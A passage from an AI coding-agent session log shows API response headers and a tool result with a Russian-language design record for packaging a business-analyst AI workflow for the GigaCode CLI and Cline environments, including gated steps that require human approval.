null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:24.439Z] [INFO]   },\n[2026-09-29T07:45:24.439Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"uuid\": \"9831e4e6-a0d5-4ea6-9138-049b2820c62b\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:24.345Z\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"request_id\": \"req_011CfXMkYBFWsFY2tPQz5TDv\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:24.439Z] [INFO] }\n[2026-09-29T07:45:24.984Z] [STDOUT] [log_57143d, request-id: \"req_011CfXMki63pUSdZyVHuLjxe\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 865ms\n[2026-09-29T07:45:24.989Z] [STDOUT] [log_57143d] response start {\n[2026-09-29T07:45:25.001Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:25.008Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:25.012Z] [STDOUT]   headers: {\n[2026-09-29T07:45:25.018Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:25.026Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:25.031Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:25.048Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:25.058Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:25.060Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.065Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:25.069Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:25.075Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:25.079Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:25.083Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:25.088Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:25.092Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:25.097Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.102Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:25.116Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:25.130Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:25.134Z] [STDOUT]     \"cf-ray\": \"a4295e3dcd064d8b-FRA\",\n[2026-09-29T07:45:25.139Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:25.148Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:25.155Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:25.160Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:25.166Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:24 GMT\",\n[2026-09-29T07:45:25.169Z] [STDOUT]     \"request-id\": \"req_011CfXMki63pUSdZyVHuLjxe\",\n[2026-09-29T07:45:25.175Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:25.177Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:25.179Z] [STDOUT]     traceresponse: \"00-9d5b9b9282ed12b78ccc39edaffdf8d9-6bfd12b291fd4f7f-01\",\n[2026-09-29T07:45:25.181Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:25.185Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:25.189Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:25.193Z] [STDOUT]   },\n[2026-09-29T07:45:25.197Z] [STDOUT]   durationMs: 865,\n[2026-09-29T07:45:25.206Z] [STDOUT] }\n[2026-09-29T07:45:25.214Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:25.230Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:24 GMT\",\n[2026-09-29T07:45:25.243Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:25.247Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:25.257Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:25.263Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:25.269Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:25.271Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:25.274Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:25.278Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:25.281Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:25.285Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:25.292Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:25.300Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:25.306Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:25.310Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:25.313Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:25.336Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.342Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:25.344Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:25.369Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:25.375Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:25.393Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.402Z] [STDOUT]   \"request-id\": \"req_011CfXMki63pUSdZyVHuLjxe\",\n[2026-09-29T07:45:25.409Z] [STDOUT]   \"traceresponse\": \"00-9d5b9b9282ed12b78ccc39edaffdf8d9-6bfd12b291fd4f7f-01\",\n[2026-09-29T07:45:25.424Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:25.437Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:25.456Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:25.461Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:25.464Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:25.467Z] [STDOUT]   \"cf-ray\": \"a4295e3dcd064d8b-FRA\",\n[2026-09-29T07:45:25.471Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:25.475Z] [STDOUT] [log_57143d] response parsed {\n[2026-09-29T07:45:25.480Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:25.483Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:25.487Z] [STDOUT]   body: X {\n[2026-09-29T07:45:25.490Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:25.494Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:25.497Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:25.499Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:25.501Z] [STDOUT]     },\n[2026-09-29T07:45:25.504Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:25.510Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:25.517Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:25.528Z] [STDOUT]   },\n[2026-09-29T07:45:25.535Z] [STDOUT]   durationMs: 865,\n[2026-09-29T07:45:25.538Z] [STDOUT] }\n[2026-09-29T07:45:25.666Z] [INFO] {\n[2026-09-29T07:45:25.666Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"message\": {\n[2026-09-29T07:45:25.666Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:25.666Z] [INFO]     \"content\": [\n[2026-09-29T07:45:25.666Z] [INFO]       {\n[2026-09-29T07:45:25.666Z] [INFO]         \"tool_use_id\": \"toolu_017ic1zPfW9enGVM33e5Xyei\",\n[2026-09-29T07:45:25.666Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:25.666Z] [INFO]         \"content\": \"## Decision\\n\\n\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c GigaCode CLI \u043a\u0430\u043a **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e** \u0441\u0440\u0435\u0434\u0443 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 \u0431\u0435\u0437 API Mango AI. \u0420\u0430\u0431\u043e\u0447\u0430\u044f \u0441\u0442\u0430\u043d\u0446\u0438\u044f \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 GigaCode CLI \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 Python; \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 Confluence MCP \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e CLI. \u041d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c skill \u0438\u043b\u0438 \u0433\u0440\u0430\u0444 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438 \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c CLI.\\n\\n\u0414\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 `execution-package-gigacode-cli` \u0432 Source \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 `tools/run-task` (\u0442\u043e\u0447\u043d\u043e\u0435 \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f): \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 `TASK_ID` \u0438 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0431\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 gate \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0410\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430; \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c. Human gates \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u044f\u0432\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0411\u0410 \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 CLI. `G-mach` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c Python, \u0430 `G-semantic` \u0438 `G-human` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. Fail-closed \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\\n\\n\u0414\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**: \u0411\u0410 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `/skills rg-bcreq-v1-dispatcher`, \u0437\u0430\u0442\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0435\u0451 exit code; \u044d\u0442\u043e \u043d\u0435 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d. \u0427\u0442\u0435\u043d\u0438\u0435 Python \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JSON Schema, \u043d\u0435 \u0434\u0430\u0451\u0442 exit code \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `G-mach`.\\n\\n\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: Source \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`, Distribution \u2014 \u0432 `dist/execution-package-gigacode-cli/`, GigaCode runtime \u2014 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli). \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c **\u0432\u0435\u0441\u044c** \u043f\u0430\u043a\u0435\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `.gigacode/skills/`, `AGENTS.md`, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/` \u0438 manifest; `meta-model/` \u0438 `docs/kb/` \u043d\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f `.gigacode/settings.json`, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e guide \u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GigaCode CLI \u043f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 quick start](https://gitverse.ru/docs/ai/ai-assistant-gigacode/getting-started-with-gigacode/quick-start), Git \u0438 Python 3 \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439** \u043f\u0430\u043a\u0435\u0442\u0430; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `gigacode --version`, `python3 --version` \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u041e\u0421 \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Python \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u0438\u043b\u043e\u0442\u0435, \u0430 \u043d\u0435 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c.\\n2. \u041a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c runtime \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u0432\u0435\u0440\u0438\u0442\u044c manifest \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `sh tools/validate-package.sh`. \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c `meta-model/` \u0438 `docs/kb/` \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e `.gigacode/settings.json` \u0438\u0437 example \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0430, \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0438 credentials \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u043e\u0433\u043e Confluence MCP. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c `/mcp` \u0438 `/tools`; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\\n4. \u0412\u044b\u0437\u0432\u0430\u0442\u044c `/skills rg-bcreq-v1-dispatcher` \u0441 `TASK-0001`, \u043f\u0440\u043e\u0439\u0442\u0438 `n0` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0411\u0410. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0437\u043b\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 `G-mach`, exit code, \u043f\u0443\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0438 checkpoint. \u041f\u0440\u0438 reject \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u0414\u043b\u044f `n12` \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 Working, \u0434\u043b\u044f `n13` \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `validate-working`, `compile`, `validate-release` \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n\\n## \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e review PR #616 (2026-09-26)\\n\\n\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/616) \u043f\u043e \u0441\u0440\u0435\u0434\u0435 1.\\n\\n1. **\u041a\u0432\u0430\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430:** \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**. \u0414\u043b\u044f \u043e\u043f\u044b\u0442\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0448\u0430\u0433\u043e\u0432 (\u0441\u043c. \u0441\u0445\u0435\u043c\u0443 \u043d\u0438\u0436\u0435); \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f.\\n## Decision\\n\\n\u0412\u044b\u0431\u0440\u0430\u0442\u044c **Cline \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 VS Code** \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 2. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c `G-Ivan-A/mango-ba-ai-runtime-cline`; \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 GigaCode-\u043f\u0430\u043a\u0435\u0442\u0435. Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0431\u0449\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`; \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `dist/execution-package-cline-vscode/` \u0441 